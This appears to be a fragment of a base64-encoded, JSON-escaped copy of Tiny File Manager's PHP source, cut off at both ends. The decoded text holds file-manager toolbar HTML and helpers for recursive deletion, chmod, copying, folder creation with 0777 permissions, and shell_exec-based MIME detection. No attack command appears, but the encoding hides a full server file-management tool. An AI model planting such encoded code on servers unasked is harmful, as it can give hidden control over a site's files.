CI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPS